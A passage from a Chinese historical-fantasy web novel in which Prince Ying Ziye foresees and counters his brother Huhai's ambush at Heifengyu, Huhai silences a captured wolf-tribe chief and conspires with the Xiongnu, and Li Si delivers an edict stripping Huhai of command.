“臣弟……臣弟恳请六哥,能否亲自率领一支精锐,与臣弟一同前往,共歼此獠?”
“有六哥坐镇,必能鼓舞士气,也能让那些狼族宵小,见识我大秦天威!”
“更是为北地郡惨死的百姓和将士,讨还血债!!”
他抬起头,眼中似乎有泪光闪动。
“若能得六哥相助,彻底铲除这股叛逆,北地郡的百姓定会感念六哥恩德!”
“臣弟……臣弟在此,先替他们拜谢六哥了!”
说着,他竟真的要再次下拜。
赢子夜静静地看着他声情并茂的表演
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,心中冷笑不止。
黑风峪?
狼族藏身地?
还恳请自己亲自同去?
这陷阱,布置得还真是用心良苦啊。
“十八弟心系百姓,为国除害,其心可嘉。”
赢子夜语气平淡,听不出喜怒。
“既然有此良机,为兄岂有不去之理?”
“此事,为兄答应了。”
胡亥闻言,脸上瞬间爆发出难以抑制的激动和感激,连连道。
“多谢六哥!多谢六哥!”
“有六哥出马,此战必胜!”
“臣弟这就去准备,明日一早,我们便出发!”
他又说了几句感激的话,这才心潮澎湃地退出了大帐。
胡亥刚一离开,一直静立在赢子夜身侧阴影中的少司命便悄然现身。
她清冷的眼眸中带着毫不掩饰的忧虑。
“夫君,胡亥此举,太过反常!”
“黑风峪地势不明,他偏偏在此时邀请你亲自前往,我怀疑……这根本就是一个针对你的陷阱。”
雪女和焰灵姬、端木蓉也走了过来,脸上皆是凝重之色。
赢子夜缓缓站起身,走到帐边,望着外面漆黑的夜色,嘴角勾起一抹冰冷的弧度。
“陷阱?自然是陷阱。”
“从那个假传消息的暗河开始,到他白日拒不开城,再到今夜这番恳切邀请,一环扣一环,他所图非小。”
他转过身,目光锐利。
“可是,若我不去,他便可借此大做文章,说我畏战,不顾北地郡百姓死活,甚至可能将狼族再度坐大的罪名扣在我头上。”
“在道义和**上,我便落了下风。”
“那你的安危……”
少司命眼中担忧更甚。
“放心,我既然敢去,自然有所准备。”
赢子夜眼中闪烁着智珠在握的光芒。
“他想引我入瓮,正好,我也借此机会,看看他除了这点拥兵自重的本事外,究竟还藏着什么底牌和后手。”
他目光转向一旁静立,容颜绝美的焰灵姬,从怀中取出一枚玄色令牌,递了过去,沉声吩咐。
“焰灵,你持我令牌,待明日我与胡亥动身前往黑风峪后,你立刻出发,前往王贲将军麾下各部驻扎之地。”
“传我密令,命他们暗中抽调两万精锐,由你亲自带领,秘密前往黑风峪外围潜伏待命!”
“没有我的信号,绝不可轻举妄动!”
焰灵姬接过令牌,美眸中闪过一丝了然与坚定,躬身领命!
“妾身明白!”
赢子夜颔首,最后看了一眼帐外沉沉的夜色。
胡亥想玩请君入瓮?
那他就来个将计就计,看看最后,是谁…瓮中捉鳖!
第437章 黑风峪便是臣弟为你挑的葬身之地
此刻。
北地郡城内。
胡亥的临时府邸深处,烛光摇曳,映照着他脸上那褪去所有伪装的阴冷与狠厉。
一名心腹将领垂手肃立,低声禀报。
“公子,赢子夜已开始调兵遣将,并无异动。”
胡亥冷哼一声,指尖轻轻敲击着桌面,发出令人不安的笃笃声。
“他倒是沉得住气……”
“不过,明日之后,看他还能否如此从容!”
他眼中寒光一闪,压低声音,对那心腹将领下达了核心指令。
“传我密令!”
“让那些一直以‘草原余孽’身份在外活动的暗桩,全部动起来!”
“所有人,立刻向黑风峪东南侧的断魂崖秘密集结!”
“记住,要快,要隐秘,绝不能走漏半点风声!”
那将领心中一凛,知道这是要动用公子隐藏最深的那股力量了,连忙应道。
“诺!属下即刻去办!”
胡亥站起身,走到窗边,望着外面漆黑的夜空,仿佛能穿透这夜色,看到黑风峪那险恶的地形!
他沉默片刻,又补充道。
“另外,你去告诉那个狼族首领……”
他顿了顿,语气变得如同北地寒风,冰冷刺骨,带着不容置疑的威胁。
“告诉他,明日之战,只许胜,不许败!”
“若是此次伏击,不能将赢子夜永远留在黑风峪……”
胡亥猛地转身,目光如同毒蛇般盯住心腹将领,一字一句道。
“那他们狼族,也就没有继续存在于这片土地上的必要了!”
“本公子能扶起他们,就能……亲手将他们碾成齑粉!”
“让他,好自为之!!!”
那将领感受到胡亥话语中那毫不掩饰的杀意与决绝,后背瞬间被冷汗浸湿,连忙躬身。
“属下明白!定将公子原话带到!”
看着心腹将领匆匆离去的背影,胡亥的脸上,缓缓浮现出一抹近乎癫狂的混合着野心与残忍的笑容。
“六哥啊六哥……”
“明日这黑风峪,就是为你精心挑选的……葬身之地!”
……
与此同时。
匈奴残军在一片相对隐蔽的北部山谷中扎营。
士气低落,伤兵的**声与战马的疲惫嘶鸣交织,空气中弥漫着失败与绝望的气息。
王帐内,头曼单于脸色阴沉如水,正与几名心腹将领商讨着下一步那渺茫的退路。
气氛压抑得让人喘不过气!
突然,帐外传来一阵骚动,亲卫进来禀报。
“单于,帐外有一神秘人求见,声称有关系到匈奴生死存亡的要事相商!”
头曼眉头紧锁,这个时候,谁会来找他?
他挥了挥手。
“让他进来。”
帐帘掀开。
一个全身笼罩在宽大黑袍中,连面容都隐藏在阴影里的人,步伐沉稳地走了进来。
他无视帐内那些匈奴将领投来的警惕、审视甚至带着杀意的目光。
径直走到王帐中央。
不等头曼发问,那神秘人便用一种经过刻意改变,略显沙哑的嗓音开口。
话语如同冰冷的**,直刺要害!
“伟大的头曼单于,您真以为,带着残兵败将退往北部,就能高枕无忧,获得绝对的安全了吗?”
帐内瞬间一片死寂。
所有将领都怒目而视。
这话无异于在伤口上撒盐!
神秘人仿佛没有看到那些**的目光,继续用他那毫无波澜的语调说道。
“如今,你们被困在西域,除了乌孙陀罗和西域联军之外,还有大秦蒙犽的铁壁防线。”
“而你们的王庭,也早已**亥公子踏平!”
“如今你们已是瓮中之鳖,四面楚歌!”
他顿了顿,声音带着一丝毫不掩饰的讥讽。
“还是说,威震草原的头曼单于,如今只想着如同丧家之犬一般,仓皇逃往更西方的安息帝国,去仰人鼻息,苟延残喘?”
“放肆!”
“狂妄!”
“杀了他!”
这番话彻底点燃了帐内匈奴将领的怒火!
数人猛地拔出弯刀,杀气腾腾地围了上来!
只等头曼一声令下,就要将这口出狂言之徒乱刀分尸!
头曼单于的脸色也阴沉得可怕!
他抬起手,制止了暴怒的部下,那双鹰隼般的眸子死死盯住神秘人,声音如同寒冰。
“你到底是什么人?”
“来这里,就是为了羞辱本单于吗?”
面对即将临身的刀锋和头曼的杀意,那神秘人却发出了一声低沉而仿佛带着金属摩擦感的笑声。
“羞辱?”
“不,我是来给单于,给匈奴,指一条生路的!”
他缓缓抬起头,阴影中似乎能看到他嘴角勾起的一抹弧度。
“在下,乃是大秦十八世子,胡亥殿下麾下使者。”
胡亥?!
这个名字如同惊雷,在王帐内炸响!
所有人都愣住了,包括头曼单于!
胡亥?
那个攻破了他们王庭的秦国公子?
他派人来做什么?
神秘人无视众人的震惊,继续说道。
“胡亥殿下深知单于乃一代枭雄,不甘人下。”
“如今局势,单于想必也看得清楚,若无人相助,匈奴覆灭,只是时间问题。”
“殿下愿与单于合作,并非要单于臣服,而是……共治!”
“共治?”
头曼单于咀嚼着这两个字,脸上露出了极其荒谬的冷笑。
“十八公子的野心,倒是不小!”
“他想如何共治?”
“又想让我匈奴付出什么代价?”
“况且,本单于凭什么相信一个攻破我王庭之人的使者?!”
“代价?信任?”
神秘人仿佛听到了什么好笑的事情。
“单于,您觉得现在的匈奴,还有资格谈论这些吗?”
“你们还有转圜的余地吗?”
“除了相信殿下,你们还有第二条路可走吗?”
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>“前往安息帝国?”
“且不说路途遥远,危机四伏,就算到了,您觉得安息王会如何对待一支失去家园,狼狈不堪的异族军队?”
他每一句话都像重锤!
敲打在头曼和众将的心上!
将他们最后的侥幸心理砸得粉碎。
头曼单于沉默了。
他粗壮的手指无意识地敲击着座椅扶手,眼中光芒剧烈闪烁。
的确,神秘人虽然话语刺耳,但说的却是血淋淋的现实。
投靠安息,前途未卜,寄人篱下。
而与胡亥合作……
虽然是与虎谋皮。
但至少,眼前似乎能看到一丝绝地求生的希望。
“你……打算怎么做?”
良久,头曼单于终于缓缓开口,声音带着一丝沙哑和不易察觉的动摇。
神秘人心中一定,知道头曼已然心动。
他压低声音,说道。
“单于可知,西北边疆的铁石城,如今的守将,早已是胡亥殿下的人。”
头曼眼中精光一闪!
铁石城!
那是连接西域与北部草原的其中一个重要通道!
“届时,若单于需要暂时撤离西域,铁石城,将会为匈奴敞开大门!”
神秘人抛出了第一个诱饵。
“当然,在此之前,为了不引起赢子夜和朝廷的警觉,此地不宜过早暴露。”
“单于当下要做的,是尽可能保存实力,继续做出向北部撤离休整的态势,迷惑各方视线。”
“然后,静待胡亥殿下下一步的计划!”
头曼单于听完,陷入了短暂的沉思。
帐内其他将领也面面相觑。
有人眼中露出希冀,有人则依旧充满疑虑。
最终,头曼单于抬起头,脸上露出一抹深沉而冰冷的笑容。
他看向神秘人,缓缓道:“好!本单于,就信十八公子这一次!”
“你回去告诉他,他的‘好意’,本单于记下了!”
“单于英明!”
“在下定将单于之意,完整传达给殿下!”
神秘人躬身一礼,不再多言,转身如同来时一样,悄无声息地退出了王帐。
待神秘人离开后,一名心腹将领忍不住上前,担忧道。
“单于,胡亥此人狼子野心,与他合作,无异于与虎谋皮啊!”
“万一他事后反悔……”
头曼单于猛地一挥手,打断了他。
脸上那抹冷笑愈发深刻,带着草原枭雄的狡诈与狠厉。
“与虎谋皮?哼!”
“他想利用本单于,牵制赢子夜,甚至搅乱整个北疆和西域,好让他自己火中取栗,掌控大局!”
“殊不知……”
头曼单于的目光变得幽深而危险,仿佛已经看到了遥远的未来。
“本单于,又何尝不想利用他呢?”
“利用他提供的通道和喘息之机,重整旗鼓!”
“待本单于恢复元气,这西北之地,乃至更广阔的疆域,究竟是谁说了算,还未可知呢!”
第438章 绝杀之局!
第二天。
黑风峪外围。
山势渐趋险峻,枯木怪石林立。
空气中仿佛都带着一股肃杀之气!
赢子夜与胡亥率领的三万秦军精锐,如同一条沉默的黑色巨**,悄然蜿蜒于崎岖的山道之上。
一名斥候如同灵猿般从前方山脊滑下,快步来到中军。
对着赢子夜和胡亥单膝跪地,气息微喘地禀报!
“禀殿下,公子!”
“前方已探明狼族藏匿据点,位于黑风峪深处一片背靠悬崖的谷地。”
“敌军兵力约在五千左右,但……分布颇为分散,以小型营寨和哨卡的形式,扼守着几条进入谷地的要道!”
“若我军集中兵力强攻一处,虽能迅速突破,但极易惊动其他据点的敌人,恐其四散逃入深山,难以全歼!”
斥候的禀报合情合理。
将一个狡猾、分散隐蔽的狼族形象勾勒出来。
胡亥闻言,脸上立刻露出果不其然的神色。
他看向赢子夜,语气带着一丝凝重与决断。
“六哥,看来这些狼崽子学精了,知道抱团容易被围,故而化整为零。”
“若不能一举成擒,让他们逃入这茫茫群山,日后必成心腹大患!”
“为永绝后患,臣弟以为,我军当分兵合围!”
“以雷霆之势,同时拔除所有外围哨卡,直扑其核心谷地,方可一网打尽!”
他分析得头头是道,仿佛一切都在为彻底剿灭狼族着想。
赢子夜端坐于马背之上,目光平静地扫过前方那地形复杂,仿佛张开了巨口的黑风峪。
又瞥了一眼身旁义正辞严的胡亥,心中冷笑更甚!
分散兵力?
在这等险地?
还真是为他精心准备的“好局”啊。
他脸上却并未显露分毫,反而微微颔首,语气沉稳,带着统帅的决断。
“十八弟所言有理。”
“狼族凶顽,既已发现其巢穴,便不容有失。”
“传令!”
他的声音陡然拔高,清晰传入身后各级将领耳中。
“前军分为三路!”
“左路由杨赫校尉率领,携五千兵马,沿西侧山脊潜行,扫荡沿途哨卡,封锁谷地西口!”
“右路由李贽校尉率领,同样携五千兵马,沿东侧河谷推进,清除东面障碍,堵死谷地东侧退路!”
“中军主力,随本公子直插谷地正面!”
“三路大军,务必在同一时辰,向谷地核心发起总攻!不得有误!”
“诺!”
杨赫、李贽等将领轰然应命,没有丝毫犹豫。
胡亥看着赢子夜如此配合地分兵,眼中闪过一丝难以察觉的得色,连忙补充道:“六哥英明!”
“臣弟请率本部亲卫,走东南道,从山后侧翼包抄敌军,以策万全!”
“如此一来,可与六哥前后呼应,彻底断绝敌军退路!”
“可。”
赢子夜淡淡应道。
命令既下,三万秦军立刻如同精密的战争机器般高效运转起来!
没有喧哗,没有混乱,只有甲胄摩擦的低沉声响和军官短促有力的指令。
左、右两路大军如同两支离弦的利箭,悄无声息地脱离主力,沿着预定路线,迅速消失在茂密的山林与崎岖的河谷之中。
其行动之迅捷,阵型之严整,令人叹为观止!!
与此同时。
胡亥率领着他所部的三千亲卫,也调转方向,从中军主力中分出,沿东南山道疾驰而去!
但在离开大部队的瞬间,他回望了一眼那逐渐被山雾笼罩的中央谷道。
唇角微微勾起,笑意冰冷而隐秘!
而赢子夜,则率领中军主力,继续沿着中央通道,不疾不徐地向谷地深处推进。
但越是深入,气氛便越发凝重!
两侧山崖如同鬼影幢幢!
终于,在预定的时辰,当太阳升到某个特定角度,将光芒勉强投入这幽深谷地时。
“呜——呜——呜——”
三支造型古朴,声音却穿透力极强的牛角号,几乎在同一时刻,从谷地的西、东、正三个方向冲天而起!
这是约定的进攻信号!
“杀——!!”
排山倒海般的喊杀声骤然爆发!
如同平地惊雷,瞬间撕碎了山谷的死寂!!
西侧山脊上,杨赫所部五千精锐如同神兵天降!
**箭如同疾风骤雨般倾泻而下,精准地覆盖了狼族设置在制高点的哨卡!
那些狼族士兵甚至来不及发出警报,便被射成了刺猬!
紧接着,秦军士兵如同猛虎下山,挥舞着制式战刀,以严密的五人小队阵型,如同碾压一切的铁流,迅速清理着沿途所有抵抗!!
东侧河谷,李贽部同样势如破竹!
他们利用河床的掩护快速突进。
遇到阻拦,便是数排**箭齐射。
随后重甲步兵挺盾推进,长矛如林穿刺,将那些试图依托地形顽抗的狼族轻易碾碎!
其攻势之猛烈,配合之默契。
让任何零星的抵抗都显得苍白无力!
而正面谷口,赢子夜的中军主力,在号角响起的瞬间,便骤然加速!
如同决堤的洪流,带着碾碎一切的气势,直接撞入了狼族在谷口仓促组织起来的防线!
这些狼族士兵虽然也做出抵抗的姿态。
但在秦军那令行禁止,侵略如火的恐怖攻势面前,几乎是一触即溃!!
他们的抵抗显得杂乱而无力。
仿佛只是为了完成某种“任务”,而非真正的生死搏杀。
秦军士兵则完全不同!
他们眼神锐利,动作迅猛。
五人一伍,攻守兼备,杀戮高效!
**箭永远覆盖在刀盾兵突进之前。
长矛永远刺向敌人最难受的位置。
整个进攻过程,如同一场精心编排的死亡之舞,充满了力量、速度与冷酷的美感!
战局呈现出一面倒的碾压态势!
狼族的防线迅速瓦解。
士兵们惊慌失措地向谷地深处溃逃,丢盔弃甲,显得狼狈不堪。
而此刻,胡亥正率领亲卫军自东南山道疾驰,绕至黑风峪的后侧高岭。
他高举令旗,装模作样的自侧翼包抄敌军,声称要以策万全!
亲卫们更是奋力冲锋,刀枪林立,气势汹汹!
然而,在疾驰途中,胡亥却屡屡抬头,眺望那被浓雾与战火笼罩的中央谷地!
透过烟尘,他依稀看见——
赢子夜所部的中军主力,正如破竹之势,横扫前方防线!
战鼓震天,秦军列阵如墙,锋锐无匹,追着那些溃不成军的狼族残兵,深入到了黑风峪最深处的一片葫芦状谷地!
此地。
三面皆是陡峭悬崖!
唯有来时一条狭窄通道,地势险恶到了极点!
就在秦军前锋即将彻底合围那些溃兵,看似胜券在握之际……
“咚!咚!咚!”
沉闷而巨大的战鼓声,毫无征兆地从两侧悬崖顶端轰然响起!<
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br>如同死神的丧钟,敲打在每一个秦军士兵的心头!
紧接着。
两侧悬崖之上,以及来时的那条狭窄通道后方,骤然出现了密密麻麻的身影!
旌旗招展,刀枪如林,数量远超之前的狼族溃兵!
他们早已在此埋伏多时。
此刻如同张开的口袋,将赢子夜所部彻底困死在这绝地之中!
更令人心悸的是。
数股极其强横的气息,如同狼烟般从埋伏的敌军中冲天而起。
牢牢锁定了中军位置的赢子夜!
其中至少有三股,达到了天象境的层次,还有七八道指玄境巅峰的气息!!!
这等阵容,绝非寻常狼族部落所能拥有!
“有埋伏!”
“保护殿下!”
突如其来的变故,让秦军阵型出现了一丝骚动。
但长期的严格训练和对主帅的绝对信任,让他们迅速冷静下来。
各级军官嘶声力竭地吼叫着,指挥士兵们迅速收缩,结成了一个圆润坚固的防御圆阵。
盾牌向外,长矛如林,**箭上弦!
警惕地对着四面八方涌来的敌人。
赢子夜坐于马上,面对这突如其来的绝杀之局,脸上非但没有丝毫惊慌,反而露出了一抹果然如此的了然,以及一丝淡淡的充满讥诮的冷笑。
“终于……忍不住了吗?”
他心中暗道。
“十八弟为了除掉我,还真是煞费苦心,连这等拙劣的嫁祸和埋伏都用上了。”
“可惜,演技太差,破绽太多。”
他的目光扫过那些埋伏的敌军。
尤其是那几股强大的气息,心中已然明了。
这绝非什么狼族残兵,而是胡亥暗中蓄养,或者不知从何处招揽来的死士和高手!
今日这黑风峪,就是为他赢子夜精心准备的葬身之地!
不过,这也正中他的下怀!
他正愁找不到确凿证据和突破口来对付胡亥。
如今对方主动将把柄送上门来,还派出了核心力量,正好趁此机会,擒下一两个重要人物,逼问出胡亥的全部阴谋!
赢子夜声音沉稳,如同定海神针,瞬间传遍整个防御圆阵。
“众将士听令!”
“结阵防御,固守待援!”
“我们的援军很快就到!”
“**手,覆盖射击,压制敌军冲锋!”
“盾阵,顶住!”
“诺!”
陷入重围的秦军将士齐声怒吼!
士气并未因被围而低落,反而被激发出了更强的战意!!
他们相信他们的殿下!
与此同时!
赢子夜对身旁的少司命、雪女,以及几名随行的暗河高手沉声道。
“夫人,阿雪,随我迎战那些高手!”
“尽量生擒为首者!”
“好!”
少司命眼眸清冷,紫气已然萦绕周身。
雪女玉笛横于唇边,冰寒内力蓄势待发。
下一刻,那数名天象、指玄境的高手,已然如同扑食的苍鹰,从各个方向悍然袭向赢子夜!
剑气纵横,掌风呼啸,杀气凛冽!
赢子夜定秦剑骤然出鞘!
煌煌紫雷撕裂空气,悍然迎上!!
少司命的万**花流化作漫天碧光利刃,雪女的冰魄寒气冻结虚空,暗河高手则如同鬼魅,专门袭扰牵制!
大战,在这绝谷之中轰然爆发!
能量碰撞的爆鸣……
兵刃交击的脆响……
怒吼与惨叫声瞬间响成一片!
第440章 斩草除根!
战场之中!
怒吼、兵刃碰撞声、濒死惨叫响彻谷地!
秦军士兵五人一伍,配合默契无比!
刀盾手顶在前方格挡劈砍,长矛手从缝隙中精准刺击。
后面的**手则冷静地点射着任何试图反抗或逃离的敌人!
他们的动作迅捷如风,攻势侵略如火!
整个包围圈如同一个不断收紧的死亡绞索,将大量的狼族士兵死死缠住!
切割成无数小块,然后逐一歼灭!
鲜血染红了地面的砂石,残肢断臂四处飞溅。
狼族士兵们早已失去了战意,只想逃离这恐怖的杀戮场。
但在秦军铁壁合围和高效杀戮面前,他们的逃亡显得如此徒劳和绝望!
而在战场的核心区域,焰灵姬与那狼族首领的战斗更是引人注目!
那狼族首领能统御一部,自身实力也达到了指玄境巅峰。
魁梧的身躯蕴含着**性的力量,手中一柄沉重的狼牙棒挥舞起来虎虎生风,带着开山裂石般的威势!
他见焰灵姬一个娇滴滴的女子追来,眼中闪过一丝凶光,咆哮着挥棒砸下!
试图将这个不知死活的女人连同她手中那看似纤细的火鞭一同砸碎!!
“蛮牛!”
焰灵姬红唇勾起一抹不屑的弧度,身形如同没有重量般,在间不容发之际轻盈地旋身避开那势大力沉的一击!
她手腕一抖。
那燃烧着橘红色火焰的长鞭如同拥有生命灵性的火蛇,并非硬撼,而是巧妙地缠绕上了狼牙棒的棒身!
“滋滋——”
火焰与精钢接触,发出奇异的灼烧声!
那狼族首领只觉一股灼热的气劲顺着棒身传来,竟让他手臂一阵发麻!
他怒吼着想要挣脱,但那火鞭却如同附骨之疽,越缠越紧。
火焰更是顺着鞭身蔓延,灼烧着他的手掌!
“撒手!”
焰灵姬娇叱一声,玉足猛地蹬地,借力回拉!
同时另一只玉手屈指一弹,数点火星如同飞蛾般射向狼族首领的面门!
狼族首领又惊又怒,只得松开狼牙棒,狼狈地侧头躲开那诡异的火星。
但他失了兵器,气势已泄!
焰灵姬得势不饶人,火鞭如同**般抽打而来!
每一鞭都带着灼热的气劲和刁钻的角度,逼得他连连后退,只有招架之功,毫无还手之力!
他身上的皮甲被火鞭抽中,立刻焦黑一片,皮肤传来火辣辣的刺痛。
周围的惨叫声和秦军步步紧逼的喊杀声更是不断冲击着他的心神!
“混蛋!胡亥误我!!”
狼族首领心中充满了无尽的悔恨与对胡亥的怨毒。
但此刻他已无力回天!
一个分神,焰灵姬的火鞭如同毒蛇般灵巧地绕过他的格挡,精准地缠住了他的脚踝!
“过来吧!”
焰灵姬冷笑,猛地发力一扯!
那狼族首领庞大的身躯顿时失去平衡,轰然倒地!
然而!
就在焰灵姬的火鞭刚刚松开,几名秦军士兵正要上前将那被捆得结结实实的狼族首领彻底押下之时——
“六哥!六哥!”
“臣弟救驾来迟,您没事吧?!”
一阵急促杂乱的马蹄声伴随着胡亥那充满焦急与关切的呼喊,由远及近!
只见胡亥一马当先,率领着他那支驰援的兵马,风风火火地冲入了战场!
径直朝着赢子夜和那被擒首领的方向奔来!
他脸上满是担忧和后怕,目光急切地在赢子夜身上扫过,仿佛真的为兄长的安危揪心不已。
就在他的马匹掠过那被按倒在地的狼族首领身旁的瞬间,异变陡生!
胡亥眼中闪过一丝极其隐蔽,快得令人无法捕捉的厉色!
他握在手中的那柄长剑,毫无征兆地如同闪电般骤然出鞘!
剑光在空中划出一道凄冷的弧线,精准无比地狠狠刺向了狼族首领的脖颈!
这一下变起肘腋,速度快到了极致!
谁都没想到,这位口口声声前来救援的公子,会对一个已经被生擒,毫无反抗能力的俘虏下此毒手!
“留活口!”
赢子夜的喝声几乎与胡亥出剑的动作同时响起!
他察觉到了胡亥那一闪而逝的杀机,但终究还是慢了一刹那!
“噗嗤——!”
利刃割裂血肉的闷响格外清晰!
狼族首领那双原本因为被擒而充满愤怒和不甘的眼睛,此刻猛地瞪得滚圆。
瞳孔中充满了极致的惊愕、茫然,和一丝恍然般的绝望!
他似乎至死都没想到,这位与他合作,许下重诺的胡亥公子,会突然对自己下**!
鲜血如同喷泉般从他的脖颈处狂涌而出,
他张了张嘴,似乎想说什么,却只能
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发出“嗬嗬”的漏气声。
身体剧烈地抽搐了两下,便彻底软倒下去。
眼神迅速黯淡,再无一丝声息。
赢子夜身形如电,瞬间掠至近前,俯身探查。
手指搭在狼族首领的颈动脉上,脸色瞬间阴沉如水——
已然气绝身亡!
胡亥此时却已迅速收刀回鞘,脸上那焦急的神色还未完全褪去,又恰到好处地浮现出一丝疑惑和不解。
他看向面色冰寒的赢子夜,语气茫然地问道:“六哥?你方才……说什么?”
“臣弟只顾着担心您的安危,见这叛逆首领竟敢靠近,情急之下出手重了些……”
“难道,不该杀吗?”
他这番表演,堪称天衣无缝,将关心则乱和误杀的戏码演得淋漓尽致!
赢子夜缓缓直起身,目光如两柄冰冷的利剑,死死盯住胡亥那张看似无辜的脸,许久没有说话。
那目光仿佛要穿透他的皮囊,直窥其内心最深处的肮脏与算计。
胡亥被赢子夜这冰冷的目光看得心中发毛。
脸上那疑惑的表情几乎要维持不住,
他强自镇定,甚至有些委屈地微微低下头。
良久。
赢子夜才缓缓收回目光,脸上看不出喜怒。
只是淡淡地摇了摇头,声音平静无波。
“没什么。”
胡亥心中暗暗松了口气,知道自己这险之又险的一招,算是暂时蒙混过关了。
他立刻将目光转向地上那具尚温的尸体,脸上瞬间换上了一副义愤填膺的表情,狠狠地啐了一口!
“呸!狼子野心的狗东西!”
“竟敢勾结外敌,反叛我大秦,袭扰边郡,罪该万死!”
“今日将其正法,算是便宜他了!”
他随即转身,对着麾下兵马,以及周围正在肃清残敌的秦军,厉声下令,声音中充满了凛然正气!
“传令!”
“所有狼族叛逆,冥顽不灵,罪无可赦!”
“给本公子——杀!一个不留!”
“用他们的血,祭奠我北地郡死难的军民!”
“诺!”
麾下将士齐声应命,战场上残余的抵抗,在更猛烈的攻击下迅速被扑灭。
胡亥站在尸山血海之中,仿佛一位刚刚赢得一场正义之战的统帅。
唯有赢子夜那深邃冰冷的目光,如同烙印般,刻在他的背后……
第441章 我,胡亥,绝不认输!
北地郡城外。
秦军大营,中军帐内。
烛火摇曳,映照着赢子夜沉静却隐含锐利的侧脸。
少司命静立一旁,清冷的嗓音打破了帐内的沉寂:“胡亥今日在阵前,分明是**灭口。”
“那狼族首领若活着,必能撬开他的嘴,指证胡亥。”
赢子夜指尖轻轻敲击着桌面,发出规律的笃笃声。
他目光幽深,缓缓道:“为夫自然清楚。”
“他那一剑,又快又狠,毫不拖泥带水,绝非什么‘情急之下’。”
“只是……人已死,证据链便断了。”
“仅凭推测,难以定一位公子的大罪。”
他语气中带着一丝不易察觉的冷意!
胡亥这一手,确实够狠,也够果断,直接将最关键的证人扼杀,让他暂时无法发难。
就在这时,帐外传来亲兵急促的禀报声!
“殿下!丞相李斯大人携陛下旨意,已至营外!”
赢子夜眼中闪过一丝讶异,随即恢复平静:“快请!”
帐帘掀开,风尘仆仆却依旧保持着丞相威仪的李斯快步走入。
他先是向赢子夜郑重行礼:“老臣李斯,参见殿下。”
“丞相不必多礼,一路辛苦。”
赢子夜虚扶一下,目光落在李斯手中那卷明黄色的绢帛上。
李斯直起身,双手捧起圣旨,神色肃穆:“殿下,陛下有旨意下达。”
他当众宣读了始皇帝命令胡亥交出兵权,由王贲接管北疆各城的明旨。
宣旨完毕,李斯上前一步,声音压低,仅限赢子夜和近处的少司命可闻!
“殿下,陛下还有一句嘱托……”
他顿了顿,语气带着一丝深意。
“……除非必要,否则,留胡亥一命。”
赢子夜闻言,眼神微动。
但脸上并未露出太多意外之色。
他微微颔首:“父皇的苦心,子夜明白。”
他理解父皇的复杂心情。
既要维护帝国法度与稳定,又不愿轻易看到骨肉相残。
“既如此,便有劳丞相随本公子一同入城宣旨吧。”
赢子夜起身道。
“老臣遵命。”
一行人很快便来到了北地郡城下。
城头火把通明,得到消息的胡亥早已出城等候。
李斯上前,再次高声宣读了始皇帝的旨意。
胡亥在听到旨意的刹那,眼中确实闪过了一抹极快的惊讶。
似乎没料到,李斯会来得如此之快,旨意会如此明确。
但这抹惊讶转瞬即逝。
他脸上迅速恢复了平静,甚至带着一丝恰到好处的恭顺。
他缓缓跪倒,拱手道:“儿臣胡亥,领旨!”
“谢父皇隆恩!父皇万岁,万岁,万万岁!”
他站起身,对着赢子夜和李斯,语气诚恳地说道:“请丞相回禀父皇,北疆**,赖父皇天威,及六哥与诸位将士奋勇,如今已基本平定。”
“胡亥定当遵从父皇旨意,逐一与王贲将军完成各城池交接事宜,绝无延误!”
他话锋一转,又补充道:“只是……丞相也知晓,北疆初定,西域战事未休,诸多事宜千头万绪,城池交接亦需厘清账目,安抚军民,非一日之功。”
“且北疆、西域广阔,仍需兵马驻守,以防范未然。”
他对着咸阳方向遥遥一拜,语气带着恳切的请求!
“胡亥恳请丞相代为转奏父皇,允准胡亥暂留北疆,协助王贲将军处理后续事宜,稳定边疆!”
“待诸事皆毕,胡亥自当返回咸阳,向父皇复命!”
李斯闻言,沉吟片刻,点了点头:“公子之心,老臣知晓。”
“此事,老臣定会如实奏禀陛下,由陛下圣裁。”
胡亥脸上露出感激之色:“多谢丞相!”
他随即看向赢子夜,主动请缨道:“六哥,如今北地郡已接旨,然周边数城,尚且不知狼族叛逆已被平定,更不知父皇旨意已下。”
“臣弟担心,若贸然派使者前往,城中守将或因不明情况,或因仍担心有细作混入,恐难以顺利打开城门交接。”
他拱手,语气郑重:“臣弟**,愿亲自前往这几座城池,代为传达父皇旨意与六哥军令,并向守将说明情况,以确保交接顺利,避免不必要的误会与冲突!”
“请六哥允准!”
赢子夜看着那一脸坦荡与尽责的胡亥,目光深邃。
片刻后,缓缓颔首:“可。”
“十八弟有心了,便依你所言。”
“臣弟领命!定不辱使命!”
胡亥再次躬身,随即干脆利落地翻身上马,在亲卫的簇拥下准备出发。
看着胡亥离去的背影,李斯也告辞返回驿馆,准备书写奏章。
返回帐内。
少司命蹙眉看向赢子夜。
“他答应得如此爽快,甚至主动要求去传达旨意……”
“我总觉得有些不安。”
“他会不会借此机会,去了其他城池后,便反悔,拥城自重,拒绝交接?”
赢子夜缓缓摇头,目光依旧望着胡亥消失的方向,语气带着一丝审慎的分析。
“反悔?直接抗旨不尊?可能性不大。”
“若他真有此心,这北地郡他大可不必交接,直接紧闭城门,不认这道旨意便是,我们难道还能立刻强攻不成?”
他顿了顿,眼中闪过一丝疑虑:“只是……他心中究竟打着什么算盘,暂时还猜不透。”
“如此干脆地交出北地郡,又主动去帮我稳定经营已久的其他城池……”
“这不像他胡亥的作风。”
“他定然另有图谋,只是这图谋……藏得更深了。”
……
而与此同时。
胡亥率领着一支数百人的亲卫骑兵,沉默地行进在通往受降城的官道上。
夜色浓重,马蹄声在寂静的原野上显得格外清晰。
一名心腹亲卫策马靠近胡亥。
脸上带着难以掩饰的忧虑和不甘。
压低声音道:“公子,我们就这么…把北地郡交出去了?”
“那可是我们好不容易才……”
胡亥猛地一挥手,打断了他的话。
脸色在夜色中显得阴鸷无比。
他冷哼一声:“不交?不交就是在明着告诉父皇和赢子夜,我胡亥要造、反!”
“你有几个脑袋够砍的?”
他语气中充满了憋屈与戾气:“只是没想到,李斯这条老狗,还有父皇的旨意,来得这么快!”
“打乱了本公子不少安排!”
那亲卫缩了缩脖子,依旧担忧道:“殿下,那……那我们现在怎么办?”
“北疆这边的狼族之乱已经平定,西域那边看样子六殿下也掌控
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了大局。”
“万一陛下不准您留在北疆或西域,下令让您即刻返回咸阳……”
“那您之前所有的筹备,岂不是……岂不是前功尽弃?”
一想到可能要被召回那个处处受制,毫无实权的咸阳,所有野心和努力付诸东流,亲卫就感到一阵绝望。
“前功尽弃?”
胡亥仿佛听到了什么天大的笑话,嘴角咧开一个冰冷而残酷的弧度,眼中闪烁着疯狂。
“谁告诉你北疆已经平定了?”
